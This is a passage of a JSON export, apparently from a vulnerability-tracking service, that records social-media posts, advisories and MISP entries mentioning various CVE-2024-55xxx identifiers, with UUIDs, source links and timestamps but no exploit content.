"creation_timestamp": "2024-12-15T10:09:26.548270Z"}, {"uuid": "429ad6a3-510e-4375-9bbb-21a1b5b6b7c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113656947909919073", "content": "", "creation_timestamp": "2024-12-15T12:56:36.024199Z"}, {"uuid": "4bb1fc5e-b266-482a-9c77-fd043e2fc3e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/113662633470258921", "content": "", "creation_timestamp": "2024-12-16T13:02:28.884889Z"}, {"uuid": "74881772-364f-4312-bd60-906405d5359a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113663744872730791", "content": "", "creation_timestamp": "2024-12-16T17:45:07.395158Z"}, {"uuid": "78299d3f-4931-484d-b9b1-425c5d50f430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55989", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663828301349766", "content": "", "creation_timestamp": "2024-12-16T18:06:20.721781Z"}, {"uuid": "e53c1e2a-95e8-4146-979c-67b3a2b1e7e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55990", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663887303994447", "content": "", "creation_timestamp": "2024-12-16T18:21:21.313758Z"}, {"uuid": "367a92d1-17f9-42ff-b1f3-6b8718a142a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55992", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663887337484183", "content": "", "creation_timestamp": "2024-12-16T18:21:21.576369Z"}, {"uuid": "d31d09d3-4b21-43e9-8d4b-a1945dd864d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55993", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663887351023406", "content": "", "creation_timestamp": "2024-12-16T18:21:21.764891Z"}, {"uuid": "32daf8c5-5dc9-4e68-bf62-894b300b3d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55994", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663887384501481", "content": "", "creation_timestamp": "2024-12-16T18:21:22.024090Z"}, {"uuid": "a1342a07-29c4-45c3-9acf-4b7a022d72ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55998", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113663946384613865", "content": "", "creation_timestamp": "2024-12-16T18:36:22.463922Z"}, {"uuid": "145ee2a5-937f-4607-ad86-6a0153b8dec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55949", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664290630673496", "content": "", "creation_timestamp": "2024-12-16T20:03:55.107914Z"}, {"uuid": "460485f4-46ed-4b34-ba24-a99adec383a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55951", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664325321574528", "content": "", "creation_timestamp": "2024-12-16T20:12:44.472544Z"}, {"uuid": "81fbe8f6-ccee-479d-a034-3ea59cd63b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55104", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664437415240281", "content": "", "creation_timestamp": "2024-12-16T20:41:14.930033Z"}, {"uuid": "6cbfb285-e18f-487e-84a8-71f49c07a3cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55103", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664463308439775", "content": "", "creation_timestamp": "2024-12-16T20:47:50.039624Z"}, {"uuid": "9a85b4b4-c8e2-4e15-ac80-f83ae0bebbc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55557", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664489122999990", "content": "", "creation_timestamp": "2024-12-16T20:54:23.933176Z"}, {"uuid": "c2af6561-cf0d-4da9-a3c4-e9a12d3fb1bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55100", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664510775322997", "content": "", "creation_timestamp": "2024-12-16T20:59:54.374721Z"}, {"uuid": "d16224a3-c6e3-4aeb-a9a5-145951824679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55554", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664699716476858", "content": "", "creation_timestamp": "2024-12-16T21:47:58.000682Z"}, {"uuid": "d5d0cbed-9ee0-4c52-9884-c566113a16ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55085", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113664897539758989", "content": "", "creation_timestamp": "2024-12-16T22:38:15.860143Z"}, {"uuid": "06b5799b-98f1-49da-bed0-8d189d7212a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/ca790929-8e78-455e-903d-a68231af7b9c", "content": "", "creation_timestamp": "2024-12-16T13:06:59.000000Z"}, {"uuid": "fdb592d9-de60-402d-8346-69ac6383452d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55864", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666358952887604", "content": "", "creation_timestamp": "2024-12-17T04:49:55.536056Z"}, {"uuid": "78fc86d3-41f8-45f3-856f-0c018328647d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55953", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675333560634722", "content": "", "creation_timestamp": "2024-12-18T18:52:16.802535Z"}, {"uuid": "26e698c9-8ede-4bd1-baf6-c3bc2d7e94d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55342", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686645524034447", "content": "", "creation_timestamp": "2024-12-20T18:49:03.840937Z"}, {"uuid": "4f6689a4-a618-4afa-8372-7d4635f5a710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55470", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685931514818488", "content": "", "creation_timestamp": "2024-12-20T15:47:28.796141Z"}, {"uuid": "12003e4f-b9c5-4c8d-9849-711f3b5a5dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55196", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldolhmhffw2t", "content": "", "creation_timestamp": "2024-12-19T19:15:41.707758Z"}, {"uuid": "0fd494a6-0def-4140-9cef-290e73123d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55082", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680359895655311", "content": "", "creation_timestamp": "2024-12-19T16:10:33.412804Z"}, {"uuid": "d84e7aa4-7cb4-4008-a4bf-0c42c4931a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55086", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674945950576641", "content": "", "creation_timestamp": "2024-12-18T17:13:42.486980Z"}, {"uuid": "7d08b4df-b523-4654-a38f-4caa6b7fbc2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55492", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674945965100212", "content": "", "creation_timestamp": "2024-12-18T17:13:43.027080Z"}, {"uuid": "dca15762-5d8b-422c-a8bc-57e47b44be1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55231", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676105388196284", "content": "", "creation_timestamp": "2024-12-18T22:08:34.023066Z"}, {"uuid": "42161161-6ae4-4776-ac5c-2c9a16663072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55509", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmsp3hu25", "content": "", "creation_timestamp": "2024-12-20T21:15:33.740028Z"}, {"uuid": "630d0fc4-5cc0-48a6-b8d3-592b930566fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55088", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674988858448138", "content": "", "creation_timestamp": "2024-12-18T17:24:37.154504Z"}, {"uuid": "0a9ce353-ac8f-47cb-835f-5f6708a0fbfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55232", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676105402762508", "content": "", "creation_timestamp": "2024-12-18T22:08:34.488592Z"}, {"uuid": "2850d920-0f0a-475e-a468-91edfc9bcaf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55082", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldobfpe4n427", "content": "", "creation_timestamp": "2024-12-19T16:15:40.170116Z"}, {"uuid": "75181691-36fa-49e5-b526-4d7ebaba35c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55186", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqrurdpt42z", "content": "", "creation_timestamp": "2024-12-20T16:15:47.218531Z"}, {"uuid": "c1eeccf0-fd19-435b-b34a-2728c8377169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55089", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674988873098622", "content": "", "creation_timestamp": "2024-12-18T17:24:37.272651Z"}, {"uuid": "4f911cf5-d3ad-46b7-9a8b-41f6152525da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55505", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676105416709418", "content": "", "creation_timestamp": "2024-12-18T22:08:35.198190Z"}, {"uuid": "c8b29a1f-6eeb-40c6-b998-e6d5fa4d8238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55081", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680401219545596", "content": "", "creation_timestamp": "2024-12-19T16:21:06.863778Z"}, {"uuid": "000225ba-b0d9-489f-8b4f-987be3418c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55470", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqrutghgv2v", "content": "", "creation_timestamp": "2024-12-20T16:15:49.280189Z"}, {"uuid": "f590e11c-d847-4293-81bc-7995e5cb2aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55342", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr3wqusze2s", "content": "", "creation_timestamp": "2024-12-20T19:15:50.242351Z"}, {"uuid": "f7979eff-a5b1-4438-b0cc-b5382d441bbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55341", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr7ceizlr2z", "content": "", "creation_timestamp": "2024-12-20T20:16:02.473890Z"}, {"uuid": "d4cf9424-845c-4083-8550-e03382e80648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55471", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqruvs24s2b", "content": "", "creation_timestamp": "2024-12-20T16:15:52.000214Z"}, {"uuid": "16f01cd0-b908-40b1-a0fe-c8e7876a56c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55341", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113686758132471048", "content": "", "creation_timestamp": "2024-12-20T19:17:42.091436Z"}, {"uuid": "83124a61-0360-44fd-8310-fd7f8b39739c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3ldrtcuxj5s26", "content": "", "creation_timestamp": "2024-12-21T02:14:13.119182Z"}, {"uuid": "c17f173c-87d0-4d0e-9349-d351e018c5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55956.yaml", "content": "", "creation_timestamp": "2024-12-18T13:39:54.000000Z"}, {"uuid": "f9be9054-ef32-43aa-b391-0510d3e6e68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113668907290703264", "content": "", "creation_timestamp": "2024-12-17T15:38:00.577988Z"}, {"uuid": "b756faa4-2f43-44f0-ac44-0c25b0bae994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2919426", "content": "", "creation_timestamp": "2024-12-17T16:19:11.156186Z"}, {"uuid": "1cd3aabf-9633-42fe-9e92-97a1470b77a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55496", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113669408275533969", "content": "", "creation_timestamp": "2024-12-17T17:45:24.967660Z"}, {"uuid": "770614ae-776a-4f5e-80ce-ebb5686d841e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-12-17T18:10:01.000000Z"}, {"uuid": "75589a0e-3228-4d9a-801c-aaa95205e5b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55513", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113669958969464068", "content": "", "creation_timestamp": "2024-12-17T20:05:29.618794Z"}, {"uuid": "01fe29f1-b531-4d6c-9c1f-4770eb82f5d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55516", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113669959037867060", "content": "", "creation_timestamp": "2024-12-17T20:05:29.677168Z"}, {"uuid": "5b6a3d71-33e7-4bdf-9676-601dfa43afff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55514", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113669958986796181", "content": "", "creation_timestamp": "2024-12-17T20:05:29.723150Z"}, {"uuid": "cbb63226-1bed-4106-b508-07ca372cb041", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113669959001814856", "content": "", "creation_timestamp": "2024-12-17T20:05:29.766896Z"}, {"uuid": "998b1def-8a5f-44a4-83c4-1ff45173bfb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55057", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113670039648933706", "content": "", "creation_timestamp": "2024-12-17T20:25:58.184153Z"}, {"uuid": "0b6f38fd-04e6-4166-b3c3-3bd15b1f79ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55506", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676144252990487", "content": "", "creation_timestamp": "2024-12-18T22:18:27.228154Z"}, {"uuid": "37adb72e-eab6-4e0b-8847-16dbcb4a8ebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55239", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676144223747645", "content": "", "creation_timestamp": "2024-12-18T22:18:26.488718Z"}, {"uuid": "6ace4e49-5b96-4bc8-9a57-5900b5126f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55056", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113670039634806312", "content": "", "creation_timestamp": "2024-12-17T20:25:57.906138Z"}, {"uuid": "e137cdb7-5bf9-411f-a8de-16c6854cfeac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55059", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113670039663227079", "content": "", "creation_timestamp": "2024-12-17T20:25:58.533495Z"}, {"uuid": "90e492e0-42da-40fb-a6cc-57d04d0b56f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55649", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676144223747645", "content": "", "creation_timestamp": "2024-12-18T22:18:26.525998Z"}, {"uuid": "ab397560-940a-41da-bd8c-d9bc74e4f6c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55539", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113702537845076428", "content": "", "creation_timestamp": "2024-12-23T14:10:41.665071Z"}, {"uuid": "263ef455-fb4a-4cd3-9cc2-cd78e811490b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55539", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldy4kf2bqk2m", "content": "", "creation_timestamp": "2024-12-23T14:15:26.329655Z"}, {"uuid": "4810cfb2-ad71-48b9-a1cd-22ad5e7cba54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113702851146280575", "content": "", "creation_timestamp": "2024-12-23T15:30:22.100443Z"}, {"uuid": "9bc8840b-1069-4b95-8739-489fd9bca571", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55529", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113782569226321935", "content": "", "creation_timestamp": "2025-01-06T17:23:43.441679Z"}, {"uuid": "59d109ff-8a34-481e-a1fc-3d4c60f267bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55632", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-003/", "content": "", "creation_timestamp": "2025-01-08T05:00:00.000000Z"}, {"uuid": "d8a76288-222b-406f-b935-08852f677a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/ajxchapman.bsky.social/post/3lfrkedi6ps2u", "content": "", "creation_timestamp": "2025-01-15T10:24:23.482496Z"}, {"uuid": "3e77fe76-9e06-40ee-be09-fb56600fd45a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55955", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-008/", "content": "", "creation_timestamp": "2025-01-08T05:00:00.000000Z"}, {"uuid": "1a424ea2-a772-4339-9dea-5c540e560ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/intruder-io.bsky.social/post/3lfrkf6or4k2k", "content": "", "creation_timestamp": "2025-01-15T10:24:49.875180Z"}, {"uuid": "d936943e-6b0e-4928-8cbb-612c930c9008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3opaw46l2g", "content": "", "creation_timestamp": "2025-01-06T17:43:27.565771Z"}, {"uuid": "1a598f11-718b-4a59-b209-d8d0719577da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113800468036602122", "content": "", "creation_timestamp": "2025-01-09T21:15:37.451910Z"}, {"uuid": "d740ec8f-d5e6-49ad-82f3-b4a9586aa28d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55226", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113800468050519291", "content": "", "creation_timestamp": "2025-01-09T21:15:37.819639Z"}, {"uuid": "c5afe198-243f-4c73-b49c-c17f0a5b64f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55224", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113800468021961439", "content": "", "creation_timestamp": "2025-01-09T21:15:37.990136Z"}, {"uuid": "96e0f4ab-0022-48e2-a55c-44d10ced1a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lfrlgaij6h23", "content": "", "creation_timestamp": "2025-01-15T10:43:18.174479Z"}, {"uuid": "52f1090c-3ff0-4b00-96ee-4da41da0a6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55917", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-004/", "content": "", "creation_timestamp": "2025-01-08T05:00:00.000000Z"}, {"uuid": "af746893-88ac-42d3-816a-be1320886a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55631", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-001/", "content": "", "creation_timestamp": "2025-01-08T05:00:00.000000Z"}, {"uuid": "d36700f4-d0e8-4a0a-937d-b7fcfadd2d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55593", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpgxpkqwd2b", "content": "", "creation_timestamp": "2025-01-14T14:18:16.040141Z"}, {"uuid": "844de544-fed6-44f5-897a-2ad53c80a752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113827768500530581", "content": "", "creation_timestamp": "2025-01-14T16:58:29.443189Z"}, {"uuid": "7fca5857-592e-4b56-a359-5e70e49891e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfdlznw6wy2f", "content": "", "creation_timestamp": "2025-01-09T21:16:53.216293Z"}, {"uuid": "1b2d4fc6-403a-4d16-ac27-daf4d6fb56b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55226", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfdlzqb5m72m", "content": "", "creation_timestamp": "2025-01-09T21:16:55.641975Z"}, {"uuid": "ac6867b8-acd7-4d5f-99db-df6eda1b5a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55593", "type": 